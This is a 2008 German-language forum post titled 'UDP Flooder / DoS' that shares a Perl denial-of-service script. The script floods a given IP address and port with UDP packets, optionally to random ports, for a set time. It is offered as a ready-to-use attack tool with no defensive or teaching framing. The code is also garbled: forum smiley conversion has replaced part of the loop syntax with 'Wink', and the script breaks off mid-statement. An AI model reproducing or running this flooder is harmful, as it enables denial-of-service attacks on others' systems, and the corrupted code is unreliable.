AlbaRadio.ch

AlbaRadio.ch Official Forum..
 
StartseiteStartseite  FAQFAQ  Suchen...Suchen...  AnmeldenAnmelden  MitgliederMitglieder  NutzergruppenNutzergruppen  LoginLogin  

Austausch | 
 

 UDP Flooder / DoS

Vorheriges Thema anzeigen Nächstes Thema anzeigen Nach unten 
AutorNachricht
``BuuJJaaR``



Anzahl der Beiträge : 399
Anmeldedatum : 04.02.08

BeitragThema: UDP Flooder / DoS   Fr 08 Feb 2008, 01:53

Code:
#!/usr/bin/perl
############################## #######################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
############################## ########################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;Wink {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;Wink {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size,
Nach oben Nach unten
Benutzerprofil anzeigen
 
UDP Flooder / DoS
Vorheriges Thema anzeigen Nächstes Thema anzeigen Nach oben 
Seite 1 von 1

Befugnisse in diesem ForumSie können in diesem Forum nicht antworten
AlbaRadio.ch :: programs/applications-
Gehe zu: